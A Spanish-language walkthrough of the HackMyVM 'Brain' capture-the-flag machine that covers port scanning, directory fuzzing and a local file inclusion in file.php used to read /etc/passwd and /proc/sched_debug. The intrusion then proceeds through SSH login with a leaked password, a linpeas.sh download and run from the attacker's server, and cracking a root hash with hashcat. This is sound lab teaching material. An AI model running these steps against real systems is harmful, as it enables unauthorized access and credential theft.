En este post os enseñaré a vulnerar la máquina Brain de la platadorma HackMyVM. La máquina está categorizada como Easy.

Reconocimiento

Reconocimiento de la IP

La máquina ya te da la pista de cual es su IP, pero, no obstante, os enseñaré a como identificarla:

┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #fping -a -g 192.163.0.0/24 2>/dev/null
192.163.0.1 
192.163.0.2 
192.163.0.3 
192.163.0.8  # Mi IP
192.163.0.53 # IP de la máquina

En mi caso hay más IP’s debido a que las máquinas virtuales están conectadas a una red NAT creada por VirtualBox.

NMAP

Para descubrir los puertos abiertos de la máquina, usamos NMAP, pero también podemos usar otras herramientas como portDiscoverSH

┌─[root@rijaba1-pc]─[~/Desktop/Brain/nmap]
└──╼ #nmap -p- --open -T5 -v -n 192.163.0.53

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-02 15:35 CET
Initiating ARP Ping Scan at 15:35
Scanning 192.163.0.53 [1 port]
Completed ARP Ping Scan at 15:35, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:35
Scanning 192.163.0.53 [65535 ports]
Discovered open port 80/tcp on 192.163.0.53
Discovered open port 22/tcp on 192.163.0.53
Completed SYN Stealth Scan at 15:35, 4.73s elapsed (65535 total ports)
Nmap scan report for 192.163.0.53
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:1A:B4:8C (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.89 seconds
	Raw packets sent: 65543 (2.884MB) | Rcvd: 65543 (2.622MB)

Este comando sirve para descubrir los puertos abiertos de la máquina, el parámetro -T5 es la plantilla de temporizado, que comprende desde el 1 al 5, yo recomiendo usar -T4 debido a que el -T5 puede llegar a saltarse algún puerto abierto (yo uso el -T5 por qué ya había hecho el escaneo antes).

┌─[root@rijaba1-pc]─[~/Desktop/Brain/nmap]
└──╼ #nmap -sCV -p22,80 192.163.0.53
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-02 15:39 CET
Nmap scan report for 192.163.0.53
Host is up (0.00028s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 32:95:f9:20:44:d7:a1:d1:80:a8:d6:95:91:d5:1e:da (RSA)
|   256 07:e7:24:38:1d:64:f6:88:9a:71:23:79:b8:d8:e6:57 (ECDSA)
|_  256 58:a6:da:1e:0f:89:42:2b:ba🇩🇪00:fc:71:78:3d:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:1A:B4:8C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds

Este comando de nmap nos permite averiguar las versiones y servicios que están ejecutándose en los puertos 22 y 80, el parámetro -sCV es una fusión del parámetro -sC y -sV.

Fuzzing

Cuando entramos en nuesto navegador y teclamos http://IP:80/ no sale nada interesante…

Para descubrir posibles rutas usaremos gobuster, también se pueden usar herramientas como wfuzz que emplearemos más adelante.

┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #gobuster dir -u 'http://192.163.0.53/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.163.0.53/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2022/01/02 15:44:51 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/robots.txt           (Status: 200) [Size: 162]  
/brainstorm           (Status: 301) [Size: 317] [--> http://192.163.0.53/brainstorm/]
/server-status        (Status: 403) [Size: 277]                                      
                                                                                     
===============================================================
2022/01/02 15:46:32 Finished
===============================================================

Con este comando buscamos todas las direcciones con formato .html, .php y .txt. Aquí lo que más llama la atención es /brainstorm. Vamos a ver qué se muestra en el navegador cuando entramos:

Nada interesante…

Ahora vamos a hacer el mismo fuzzing que antes, pero sobre el directorio /brainstorm

┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #gobuster dir -u 'http://192.163.0.53/brainstorm/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.163.0.53/brainstorm/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2022/01/02 15:49:21 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 80]
/file.php             (Status: 200) [Size: 0] 
                                              
===============================================================
2022/01/02 15:51:02 Finished
===============================================================

Al entrar en /file.php no encontramos nada, podríamos estar delante de una Web Shell o de un LFI (Local File Inclusion), primero vamos a probar un LFI, para ello, vamos a usar la herramienta wfuzz:

┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #wfuzz -c -t 200 --hh=0 -u 'http://192.163.0.53/brainstorm/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.163.0.53/brainstorm/file.php?FUZZ=/etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000759:   200        26 L     38 W       1401 Ch     "file"

Rápidamente encontramos file, esto significa que estamos ante un LFI, al entrar al navegador nos encontramos con esto:

Obtener Acceso

Para que sea más fácil de entender podemos hacer uso de curl:

┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #curl 'http://192.163.0.53/brainstorm/file.php?file=/etc/passwd'
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync❌101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network❌102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus❌104:110::/nonexistent:/usr/sbin/nologin
sshd❌105:65534::/run/sshd:/usr/sbin/nologin
salomon❌1000:1000:salomon,,,:/home/salomon:/bin/bash
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin

Encontamos a un usuario llamado salomon, dado que está el servicio SSH en funcionamiento, podemos intentar robarle la clave id_rsa:

┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #curl 'http://192.163.0.53/brainstorm/file.php?file=/home/salomon/.ssh/id_rsa'
┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #

En este caso no podemos hacerlo, ahora lo que podemos intentar es buscar algún log o archivo que nos pueda dar alguna pista. Vamos a comprobar si tenemos permiso de lectura del archivo ‘/proc/sched_debug’, el cual nos daría información sobre los procesos que se están ejecutando en la máquina víctima:

┌─[✗]─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #curl 'http://192.163.0.53/brainstorm/file.php?file=/proc/sched_debug'

-----------

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1     63716.678589      2552   120         0.000000       569.418285         0.000000 0 0 /
 S       kthreadd     2     63730.424674       138   120         0.000000         1.230426         0.000000 0 0 /
 I         rcu_gp     3       115.023572         2   100         0.000000         0.001783         0.000000 0 0 /
 I     rcu_par_gp     4       116.523710         2   100         0.000000         0.000963         0.000000 0 0 /
 I   kworker/0:0H     6       873.675936         6   100         0.000000         0.020983         0.000000 0 0 /
 I   kworker/u2:0     7     63680.909027       683   120         0.000000        49.459140         0.000000 0 0 /
 I   mm_percpu_wq     8       122.093852         2   100         0.000000         0.001041         0.000000 0 0 /
 S    ksoftirqd/0     9     63734.905091     96268   120         0.000000      2008.140206         0.000000 0 0 /
 I      rcu_sched    10     63738.789502    201645   120         0.000000      1101.001688         0.000000 0 0 /
 I         rcu_bh    11       128.095063         2   120         0.000000         0.000611         0.000000 0 0 /
 S    migration/0    12         0.000000      2052     0         0.000000        44.676092         0.000000 0 0 /
 S        cpuhp/0    14      1169.032602        11   120         0.000000         0.087116         0.000000 0 0 /
 S      kdevtmpfs    15      1192.514680       148   120         0.000000         0.370252         0.000000 0 0 /
 I          netns    16       140.113027         2   100         0.000000         0.001332         0.000000 0 0 /
 S        kauditd    17      1157.126260         4   120         0.000000         0.023842         0.000000 0 0 /
 S     khungtaskd    18     63697.348687        69   120         0.000000         1.633504         0.000000 0 0 /
 S     oom_reaper    19       146.114372         2   120         0.000000         0.000883         0.000000 0 0 /
 I      writeback    20       148.114399         2   100         0.000000         0.001175         0.000000 0 0 /
 S     kcompactd0    21       150.115346         2   120         0.000000         0.001261         0.000000 0 0 /
 S           ksmd    22       152.116626         2   125         0.000000         0.001198         0.000000 0 0 /
 S     khugepaged    23     63741.749832       817   139         0.000000        71.709128         0.000000 0 0 /
 I         crypto    24       156.116209         2   100         0.000000         0.001691         0.000000 0 0 /
 I    kintegrityd    25       158.116328         2   100         0.000000         0.001214         0.000000 0 0 /
 I        kblockd    26       160.116910         2   100         0.000000         0.001825         0.000000 0 0 /
 I    edac-poller    27       172.502000         2   100         0.000000         0.001684         0.000000 0 0 /
 I     devfreq_wq    28       174.002316         2   100         0.000000         0.001356         0.000000 0 0 /
 S      watchdogd    29         0.000000         2     0         0.000000         0.001319         0.000000 0 0 /
 S        kswapd0    30     62396.089862       789   120         0.000000       519.895016         0.000000 0 0 /
 I       kthrotld    48       556.008766         2   100         0.000000         0.002137         0.000000 0 0 /
 I  ipv6_addrconf    49       557.208873         2   100         0.000000         0.001312         0.000000 0 0 /
 I          kstrp    59       583.981637         2   100         0.000000         0.001553         0.000000 0 0 /
 I        ata_sff   103       695.238146         2   100         0.000000         0.002432         0.000000 0 0 /
 S      scsi_eh_0   105       797.647303         4   120         0.000000        11.211631         0.000000 0 0 /

----------------

 S    in:imuxsock   333     63658.826278       219   120         0.000000         3.917773         0.000000 0 0 /
 S      in:imklog   334      8713.100742         5   120         0.000000         0.512810         0.000000 0 0 /
 S  rs:main Q:Reg   341     63658.829305       275   120         0.000000         4.945284         0.000000 0 0 /
 S           cron   328      1178.142641        37   120         0.000000         1.320024         0.000000 0 0 /
 S       dhclient   346     63658.947787       299   120         0.000000        15.911270         0.000000 0 0 /
 S             sh   350      1181.323932         8   120         0.000000         0.450660         0.000000 0 0 /
 Ssalomon:XXXXXXX   355      1182.800227        19   120         0.000000         0.992876         0.000000 0 0 /
 S         python   369     63738.785020     16658   120         0.000000       766.599960         0.000000 0 0 /
 S          sleep   370      1185.145485         4   120         0.000000         0.330095         0.000000 0 0 /
 S         agetty   394     63639.075848        54   120         0.000000         4.815542         0.000000 0 0 /
 S           sshd   400     47171.787284        79   120         0.000000         9.011313         0.000000 0 0 /
 S        apache2   447     63738.813279      8278   120         0.000000       426.373394         0.000000 0 0 /
 S        apache2   933     62402.551365    120465   120         0.000000     11680.783599         0.000000 0 0 /
 S        apache2   935     62402.570149    121210   120         0.000000     11652.524825         0.000000 0 0 /
 S           sshd   957     23631.807253        73   120         0.000000        12.466195         0.000000 0 0 /
 S        systemd   960     24078.702466        80   120         0.000000        12.362455         0.000000 0 0 /
 S       (sd-pam)   961     23603.286953         3   120         0.000000         0.079491         0.000000 0 0 /
 S           sshd   969     43696.981737      2929   120         0.000000        80.065888         0.000000 0 0 /
 S           bash   970     43652.951614       840   120         0.000000        48.213812         0.000000 0 0 /
 S             su 11753     43663.369220        18   120         0.000000         5.684415         0.000000 0 0 /
 S           bash 11754     43697.027139        61   120         0.000000        10.535508         0.000000 0 0 /
 S        apache2 12160     62402.521737    119215   120         0.000000     11441.040908         0.000000 0 0 /
 S        apache2 12175     62402.521261     60943   120         0.000000      5855.319223         0.000000 0 0 /
 S        apache2 12176     63556.634764     59731   120         0.000000      5756.314840         0.000000 0 0 /
 S        apache2 12178     63666.769308     59574   120         0.000000      5689.522428         0.000000 0 0 /
 I    kworker/0:0 12182     63738.858168      9678   120         0.000000       268.195123         0.000000 0 0 /
 S        apache2 12192     62402.547221        57   120         0.000000         9.196506         0.000000 0 0 /
 S        apache2 12293     63556.742439        14   120         0.000000         2.126920         0.000000 0 0 /
 S        apache2 12295     63615.246831        14   120         0.000000         1.884778         0.000000 0 0 /
>R        apache2 12296     63738.749832        13   120         0.000000         1.558960         0.000000 0 0 /
 I    kworker/0:1 12341     63733.416116       161   120         0.000000         6.446626         0.000000 0 0 /
 I    kworker/0:2 12351     63735.074048        74   120         0.000000         2.886262         0.000000 0 0 /
 I    kworker/0:3 12352     63736.412425         2   120         0.000000         0.001362         0.000000 0 0 /

He tenido que cortar la salida del comando porque era muy larga… Puede parecer que no hay nada interesante, pero sí que lo hay, podemos ver que en una parte se menciona al ya conocido usuario salomon, seguido de dos puntos que parece su contraseña (yo la puse con X).

Con el siguiente comando vamos a intentar conectarnos por ssh con las credenciales:

┌─[✗]─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #ssh salomon@192.163.0.53
salomon@192.163.0.53's password: 
Linux Brain 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

BBBBBBBBBBBBBBBBB      RRRRRRRRRRRRRRRRR                     AAA                  IIIIIIIIII   NNNNNNNN        NNNNNNNN
B::::::::::::::::B     R::::::::::::::::R                   A:::A                 I::::::::I   N:::::::N       N::::::N
B::::::BBBBBB:::::B    R::::::RRRRRR:::::R                 A:::::A                I::::::::I   N::::::::N      N::::::N
BB:::::B     B:::::B   RR:::::R     R:::::R               A:::::::A               II::::::II   N:::::::::N     N::::::N
  B::::B     B:::::B     R::::R     R:::::R              A:::::::::A                I::::I     N::::::::::N    N::::::N
  B::::B     B:::::B     R::::R     R:::::R             A:::::A:::::A               I::::I     N:::::::::::N   N::::::N
  B::::BBBBBB:::::B      R::::RRRRRR:::::R             A:::::A A:::::A              I::::I     N:::::::N::::N  N::::::N
  B:::::::::::::BB       R:::::::::::::RR             A:::::A   A:::::A             I::::I     N::::::N N::::N N::::::N
  B::::BBBBBB:::::B      R::::RRRRRR:::::R           A:::::A     A:::::A            I::::I     N::::::N  N::::N:::::::N
  B::::B     B:::::B     R::::R     R:::::R         A:::::AAAAAAAAA:::::A           I::::I     N::::::N   N:::::::::::N
  B::::B     B:::::B     R::::R     R:::::R        A:::::::::::::::::::::A          I::::I     N::::::N    N::::::::::N
  B::::B     B:::::B     R::::R     R:::::R       A:::::AAAAAAAAAAAAA:::::A         I::::I     N::::::N     N:::::::::N
BB:::::BBBBBB::::::B   RR:::::R     R:::::R      A:::::A             A:::::A      II::::::II   N::::::N      N::::::::N
B:::::::::::::::::B    R::::::R     R:::::R     A:::::A               A:::::A     I::::::::I   N::::::N       N:::::::N
B::::::::::::::::B     R::::::R     R:::::R    A:::::A                 A:::::A    I::::::::I   N::::::N        N::::::N
BBBBBBBBBBBBBBBBB      RRRRRRRR     RRRRRRR   AAAAAAA                   AAAAAAA   IIIIIIIIII   NNNNNNNN         NNNNNNN


salomon@Brain:~$ ls
user.txt
salomon@Brain:~$ cat user.txt;echo
onXXXXXvDtAR7wZu3I8HKXXXX

salomon@Brain:~$

¡Bingo! Hemos ganado el acceso a la máquina y tenemos la flag del usuario.

Escalada de Privilegios

En este punto ya tenemos acceso a la máquina, pero aún no somos el usuario con altos privilegios (root), para que sea más fácil la escalada de privilegios vamos a usar LinPEAS. LinPEAS es una herramienta que nos ayuda en esta fase.

Primero hay que transeferirse linpeas.sh a la máquina víctima:

# Nuestra máquina:
┌─[root@rijaba1-pc]─[~/Desktop/Brain/exploits]
└──╼ #wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F253%2Fmerge/linpeas.sh

---------

linpeas.sh                                      100%[====================================================================================================>] 744,96K  2,31MB/s    en 0,3s    

2022-01-02 16:16:52 (2,31 MB/s) - «linpeas.sh» guardado [762836/762836]

┌─[root@rijaba1-pc]─[~/Desktop/Brain/exploits]
└──╼ #python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

# Máquina Victima:
salomon@Brain:~$ cd /tmp/
salomon@Brain:/tmp$ wget http://192.163.0.8:8080/linpeas.sh
--2022-01-02 16:17:15--  http://192.163.0.8:8080/linpeas.sh
Conectando con 192.163.0.8:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 762836 (745K) [text/x-sh]
Grabando a: “linpeas.sh”

linpeas.sh                                    100%[====================================================================================================>] 744,96K  --.-KB/s    en 0,004s  

2022-01-02 16:17:15 (172 MB/s) - “linpeas.sh” guardado [762836/762836]

Una vez hecho esto detenemos el servidor http montando en python y ejecutamos la herramienta:

salomon@Brain:/tmp$ chmod +x linpeas.sh
salomon@Brain:/tmp$ ./linpeas.sh 

Entre todo lo que hace la herramienta me sorprende la parte donde nos muestr todos los procesos que se están ejecutando:

╔══════════╣ Cleaned processes                                                                                                                                                      [549/727]
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes                                                                       
--------
root       370  0.0  0.0   5260   684 ?        S    13:45   0:00              _ sleep 999999999999999                                                                                        
root       312  0.0  0.3 225824  3536 ?        Ssl  13:45   0:00 /usr/sbin/rsyslogd -n -iNONE                                                                                                
root       346  0.0  0.5   9488  5732 ?        Ss   13:45   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6
.enp0s3.leases enp0s3                                                                                                                                                                        
root       369  0.0  1.3  22224 13360 ?        S    13:45   0:00 python /root/server.py 127.0.0.1:65000                                                                                      
root       394  0.0  0.1   5612  1544 tty1     Ss+  13:45   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux                                                                                
root       400  0.0  0.6  15852  6984 ?        Ss   13:45   0:00 /usr/sbin/sshd -D                                                                                                           
--------

Podemos ver que el usuario root está ejecutando un servidor con Python. Vamos a hacerle una petición GET al servidor:

salomon@Brain:/tmp$ wget 127.0.0.1:65000
--2022-01-02 16:23:08--  http://127.0.0.1:65000/
Conectando con 127.0.0.1:65000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 192 [text/html]
Grabando a: “index.html”

index.html                                      100%[====================================================================================================>]     192  --.-KB/s    en 0s      

2022-01-02 16:23:08 (88,9 MB/s) - “index.html” guardado [192/192]

salomon@Brain:/tmp$ ls
index.html  systemd-private-d91299c48ef040feaec25068ed159d30-apache2.service-EZFh1S  systemd-private-d91299c48ef040feaec25068ed159d30-systemd-timesyncd.service-AoQJpy
salomon@Brain:/tmp$ cat index.html 
[+] You are a great Hacker!! I think you are looking for this:
065BB0B9A0C654E5B3B6XXXXXXXXXXXXXXXXXXXX09D941989EC4D728FBE3290E47D2058839215BBE6144F51E7FCE8A8C6XXXXXXXXXXXXXXX1D742251F5A17167
salomon@Brain:/tmp$ 

Parece que hemos encontrado un hash, vamos a crackearlo en local

Crack del Hash

┌─[✗]─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #echo '065BB0B9A0C654E5B3B6XXXXXXXXXXXXXXXXXXXX09D941989EC4D728FBE3290E47D2058839215BBE6144F51E7FCE8A8C6XXXXXXXXXXXXXXX1D742251F5A17167' > hash
┌─[root@rijaba1-pc]─[~/Desktop/Brain]
└──╼ #hashcat -O -a0 -m1700 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...                                                                                                                                                                 
                                                                                                                                                                                             
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]                                                                
=============================================================================================================================                                                                
* Device #1: *********                                                                                       
                                                                                                                                                                                             

-------------------------------------------------------------------
                                                                                                                                                                                             
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

065BB0B9A0C654E5B3B6XXXXXXXXXXXXXXXXXXXX09D941989EC4D728FBE3290E47D2058839215BBE6144F51E7FCE8A8C6XXXXXXXXXXXXXXX1D742251F5A17167:******

¡Hemos decifrado el hash! Ahora vamos a convertirnos en root proporcionando la contraseña decifrada.

salomon@Brain:/tmp$ su root
Contraseña: 
root@Brain:/tmp# cd
root@Brain:~# ls
index.html  root.txt  run_server.sh  server.py
root@Brain:~# cat root.txt;echo
gmC9GR0EMUXXXXXXXXXXXXXXX

root@Brain:~# 

¡Ya somos root, eso implica que ya tenemos su flag!